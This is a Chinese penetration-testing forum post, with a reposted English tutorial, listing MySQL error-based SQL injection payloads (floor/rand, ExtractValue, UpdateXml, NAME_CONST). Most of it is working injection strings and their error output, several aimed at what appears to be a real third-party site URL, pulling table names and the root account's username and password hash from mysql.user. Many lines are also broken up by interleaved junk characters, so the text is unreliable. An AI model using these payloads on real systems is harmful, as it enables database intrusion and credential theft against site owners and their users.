中国网络渗透测试联盟
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法 [打印本页]
作者: admin 时间: 2015-11-11 19:03
标题: mysql ,floor,ExtractValue,UpdateXml三种报错模式注入利用方法
1、通过floor报错
可以通过如下一些利用代码
and select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);
and (select count(*) from (select 1 union select null union select !1)x group by concat((select table_name from information_schema.tables limit 1),floor(rand(0)*2)));
举例如下:! s, d0 @9 b8 E" j6 {9 g7 ^
首先进行正常查询:
mysql> select * from article where id = 1;
+ R" i$ q C1 h, \! q" v+—-+——-+———+* c4 _# X& ]3 b4 j+ e1 y0 @
| id | title | content |* o! V7 y4 D' K. K: T1 k) Y `
+—-+——-+———+& Q1 R& B/ {6 M R4 [3 n! ?2 E
| 1 | test | do it |
" c5 c8 b& o9 {- b+ E5 D) }+—-+——-+———+
假如id输入存在注入的话,可以通过如下语句进行报错。
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a);; w# V# o$ H r1 c. h& l1 x, Q5 R
ERROR 1062 (23000): Duplicate entry ’5.1.33-community-log1′ for key ’group_key’
可以看到成功爆出了Mysql的版本,如果需要查询其他数据,可以通过修改version()所在位置语句进行查询。
* B( A0 X' E" G) `- s% B例如我们需要查询管理员用户名和密码:
Method1:
mysql> select * from article where id = 1 and (select 1 from (select count(*),concat((select pass from admin where id =1),floor(rand(0)*2))x from information_schema.tables group by x)a);
# b' Y4 W/ o+ p- c2 j# P" x# U% C( fERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
Method2:
mysql> select * from article where id = 1 and (select count(*) from (select 1 union select null union select !1)x group by concat((select pass from admin limit 1),floor(rand(0)*2)));, ?8 V/ k9 S8 H9 P. m/ }' j
ERROR 1062 (23000): Duplicate entry ’admin8881′ for key ’group_key’
2、ExtractValue
- i" o6 }" }$ p测试语句如下
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
实际测试过程
mysql> select * from article where id = 1 and extractvalue(1, concat(0x5c,(select pass from admin limit 1)));– I# @6 x" g X5 a( \: b" c6 y7 w* r
ERROR 1105 (HY000): XPATH syntax error: ’\admin888′
3、UpdateXml
测试语句
and 1=(updatexml(1,concat(0x3a,(select user())),1))
实际测试过程
mysql> select * from article where id = 1 and 1=(updatexml(0x3a,concat(1,(select user())),1))ERROR 1105 (HY000): XPATH syntax error: ’:root@localhost’
, @) g7 B& M. Y, d+ E! ^8 ?6 n/ L& d; e$ \1 T* L" w5 o
再收集:
. M/ `; O& a7 Z1 mhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const(@@version,0))a join (select name_const(@@version,0))b)c)
/ J' t s, K) U7 B) R5 v, B& n u8 |# _& Z
Error
uplicate column name ‘5.0.27-community-nt’Error
uplicate column name ‘5.0.27-community-nt’
& m( d& a7 o0 U8 }) s4 d7 u" V' ]* Q1 f1 j
http://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261 and exists(select*from (select*from(select name_const((select concat(user,password) from mysql.user limit 0,1),0))a join (select name_const((select concat(user,password) from mysql.user limit 0,1),0))b)c)7 I2 ~8 C2 ?) H) x/ e
( O; ^% Q7 P8 N( E# C0 G( H) C/ ]
Error
uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′Error
uplicate column name ‘root*B7B1A4F45D9E638FAEB750F0A99935634CFF6C82′ 4 W5 q% {& Q& @* N9 x* S
9 x/ P3 l5 v- ~" u# g
MYSQL高版本报错注入技巧-利用NAME_CONST注入
* i" T& l5 q, WIt's been a while since I've made an SQL Injection tutorial, so I'd thought I should make a new tutorial using the method name_const. There's not many papers documenting this method, so it feels kind of good to be the one to make a guide for it. ) O; I0 E5 U$ m$ J' }% _( C o9 B
. q+ y9 ~4 ~0 ?. D! C; E
! y7 |0 e3 j3 l2 O相关信息3 m; |4 B8 N6 u3 [" b
- B; I- X, o' D/ F& ~0 ]NAME_CONST was added in MySQL 5.0.12, so it won't work on anything less than that.. l, Z6 ^$ I* E0 C P) b3 U
& y( I% L6 G% o' }: KCode:, v% P" Z( G U9 M- h! g2 ~
NAME_CONST(DATA, VALUE), [- Q5 x1 T& `# c' v
; H4 S; Z1 Y& F+ `+ V& @: ~Returns the given value. When used to produce a result set column, NAME_CONST() causes the column to have the given name. The arguments should be constants.) h+ p2 U3 F7 J* j+ H) Y9 L
) }, K8 q+ |- z4 I. a* oSELECT NAME_CONST('TEST', 1)5 p( d; J" c- p7 u4 b/ ~1 Y8 A
$ w, A) W9 o7 N# t: v- I' S! D5 L8 n( W& J+ k! @
8 _% c7 h+ Q0 _! Y" E|---------------|
# W; a- b3 m- K" d| TEST |
) b- z2 j9 I; b5 y% l% p& || |
1 l0 r1 w" S8 t0 E$ C8 W/ o- |# c|---------------|
* |7 |2 s3 R6 m" b: M| 1 |1 o" U4 _0 {) j' V- R
| |7 V' X+ ?) h' I) q. e" G
|---------------|+ S* |5 k0 L2 b) Q# n
& c* R$ A. J9 Q3 I* ]
. \7 f( M$ @# ]. m! i0 C! G
0 I3 \' ~0 o" A4 {- F2 b8 m1 u1 u+ {$ z# l$ |
http://dev.mysql.com/doc/refman/5.0/en/m...name-const
- W- [3 W9 f) D: y+ X$ `Intro to MySQL Variables- z* d+ O$ Q. k6 H( ` m9 L( c
, s7 v1 p% n# I- k* M& _Once you've got your vulnerable site, lets try getting some MySQL system variables using NAME_CONST.8 K0 L' |; A+ Z
$ p+ ?# I/ Y! p& u- W
Code:
6 l( N7 F& i3 Y6 u. Qhttp://www.baido.hk/qcwh/content ... ;sid=19&cid=261
. x5 Y" D" M* ~; p# b$ ?% _, r4 Z& Z: X7 g+ d/ C- x
: s& C; e1 W* ]1 q9 f: Y ~8 o2 r
9 [; \. g% E' W6 ~" X0 G+ n
: o& q; c1 h9 O- s* }- L; P5 Y2 W: A& g6 p- U4 d7 j
Code:4 _0 ?0 s/ i% K9 d
and+1=(select+*+from+(select+NAME_CONST(VAR,1),NAME_CONST(VAR,1))+as+x)--1 V, @. Y0 Q% _- x
K2 t, O P( G/ F/ w* S
- C$ f/ f2 y2 j! y2 G8 J
VAR = Your MySQL variable.& h2 N+ w- l% Q! _, t: N; P
" J0 u4 D. z# A; W( y1 z4 I# vMySQL 5.1.3 Server System Variables! O: W/ t/ s5 Z8 _
3 j* | ], E8 @. F
Let's try it out on my site... Q) X& j: t8 }7 a4 l
+ w) I0 U# Z9 K/ |2 g
Code:
% i7 l9 E8 j& N: w+ R' nhttp://www.baido.hk/qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)--/ z. @; U& I( F7 D' n5 }
2 V4 X/ E8 S. X4 z1 n( m
Error
uplicate column name '5.0.27-community-nt', l4 c- b& I7 c* r* y6 l
& X* @4 h/ W2 z6 ?" I) O8 K( H0 ]9 K- q9 T
( ]+ U j; B4 J. F; e0 {: W
{" K/ ^* o( K# {# ?, C
5 S4 Q9 C: ^1 W( ~9 s
. G$ E% V* G; ?- BNow I've tried a couple of sites, and I was getting invalid calls to NAME_CONST trying to extract data. Nothing was wrong with my syntax, just wouldn't work there. Luckily, they work here so let's get this going again...- N8 w" x5 V0 X1 Y) V
" ~9 u+ {$ f J; E3 gData Extraction/ T2 D7 g1 ~' l0 n2 E
0 ~9 G& q: I* w/ f0 eCode:4 u; s k4 C2 W5 X5 m
+and+1=(select+*+from+(select+NAME_CONST((select+DATA+limit+0,1),1),NAME_CONST((select+DATA+limit+0,1),1))+as+x)--+ j9 l, Q& D& }6 {5 L! N& X
; F6 q2 q- |- g O9 R" J- u
; A( f' W4 _/ z( T& a- O5 K
We should get a duplicate column 1 error...- B; p- g7 Q2 U5 J$ c
$ n2 H, [8 i. v' V+ A+ zCode:
; L3 s. N7 y" v- Ghttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+1+limit+0,1),1),NAME_CONST((select+1+limit+0,1),1))+as+x)--* a% f, ^: B2 W$ X
4 `. b8 W4 \& J3 _- b; eError
uplicate column name '17 Z1 U3 D" {( y" J" O
5 A K- K/ K- `7 f0 D
( ^/ `6 R& v8 d; b& u% m6 r% Z+ s3 [+ V; r: P% o, o
/ O# v" b( a( X/ g$ @- r; E: ?' t
; {( f8 C! ~1 \- A! ~' d# n5 t) ]$ z
Now let's get the tables out this bitch..
s! |$ p2 i; S% H( S2 ^8 H
7 r- f. r6 _& f1 U( dCode:% r7 [& A0 G# w3 q$ G
+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--8 R" X! u8 N; A9 H3 ~, ^
7 e/ B O/ L9 ^8 H4 p) n p2 t! L- z1 J& |
Let's see if it works here, if it does, we can go on and finish the job.( q' C( Y3 G. R, s: Q
! c) L: h( I9 H& \9 b' A8 t
Code:
* m- Y3 l+ `/ ?5 Q9 b/ g) |http://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1),NAME_CONST((select+table_name+from+information_schema.tables+where+table_schema=database()+limit+0,1),1))+as+x)--
. t0 b1 P; Q9 s/ X K" E; W5 o0 H* o
. V+ o- S9 b, q8 }% g
Error
uplicate column name 'com_admanage
$ c0 V. ?4 m. J
0 ^/ O! B/ t' ?( g: S- W, T z9 g5 Y. |. @
' N T+ {8 x3 }( O1 K6 G* q
: u2 i; @. H' n4 O* P
& Q( w# m$ O( I( n1 m+ D! |1 [+ x M8 A
Now I'm going to be lazy and use mysql.user as an example, just for the sake of time.
S. S. d! r Y* Z9 k6 u6 \4 d
6 B) g* |! N p/ Y& mLet's get the columns out of the user table..
. w+ B) E* n8 d, V$ {: ] a: \$ P5 ]% R$ q: W4 ^3 y
Code:
7 k- ~$ J5 l, E0 y0 [" I! r; G0 f+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_name=0xHEX_OF_TABLENAME+limit+0,1),1))+as+x)--. d" d! J0 L9 K: ^8 ^
, w/ Y1 x- n& W8 c
% F0 R' Y3 s/ N) D. Q8 ^So mine looks like this, and I get the duplicate column name 'Host'.
3 c9 s( J* |1 C
8 l4 r( j8 C9 a9 SCode:
/ a% t, F' N* k" Uhttp://www.baido.hk/qcwh/content ... &cid=261+and+1=(select+*+from+(select+NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1),NAME_CONST((select+column_name+from+information_schema.columns+where+table_schema=0x6d7973716c+and+table_name=0x75736572+limit+0,1),1))+as+x)--9 |; y. r/ [8 g# F1 m( o( [
+ o! j+ ?6 n3 p% |' U0 j% oError
uplicate column name 'Host'
3 n# i8 {' `2 d0 v& L g2 `! m, [. S+ v! H- J0 {8 v2 m
! {1 ?. x5 _' \% H L+ \0 B, R/ C+ B* U5 k, J; _2 q, A7 B
1 f# o# O( k" R; Z) V9 T. Y3 ~% b
1 K# L5 S+ v$ |2 F% S2 K+ P) P
R$ [! E2 n1 }3 |& w# I* S2 WWoot, time to finish this bitch off.; ~7 t: |* V( w& I5 n
7 Y+ x! ]/ T3 f
Code:. f1 A* ^2 H$ v" F
+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,COLUMN1,COLUMN2)+from+TABLENAME+limit+0,1),1))+as+x)--9 U8 Y( Q( {$ E; H/ I
) ^6 {1 _6 U! X7 j
# ^1 S8 _0 j4 |
So mine looks like this...
0 }7 d9 B3 Q- K+ y& A! f% J$ K% [9 z, |: n2 A$ g0 b
Code:
6 o, v6 ^2 N# C- B! C: K! m, hhttp://www.baido.hk /qcwh/content/detail.php?id=330&sid=19&cid=261+and+1=(select+*+from+(select+NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1),NAME_CONST((select+concat_ws(0x207e20,User,Password)+from+mysql.user+limit+0,1),1))+as+x)--
/ Y: C# V& z6 V' o" I0 m
6 b$ S$ ]- b5 {/ H# HError
uplicate column name 'root ~ *B7B1A4F45D9E638FAEB750F0A99935634CFF6C82'
4 Z8 o* A, t7 P, Y
3 s2 I' V6 g5 M. M3 y' W
" L; U$ m. F: j' G, E ( Q( i; b0 T: g' m
- g9 h' G h! y- Q0 z4 Y# w
* ^. g. x3 ^0 B8 S# z+ H
4 f; c5 |1 |( H$ F# q9 \2 ?And there we have it, thanks for reading.
" Y b1 U' N7 z5 L. l7 M& S' k+ [7 L& |! g. U
| 欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) |
Powered by Discuz! X3.2 |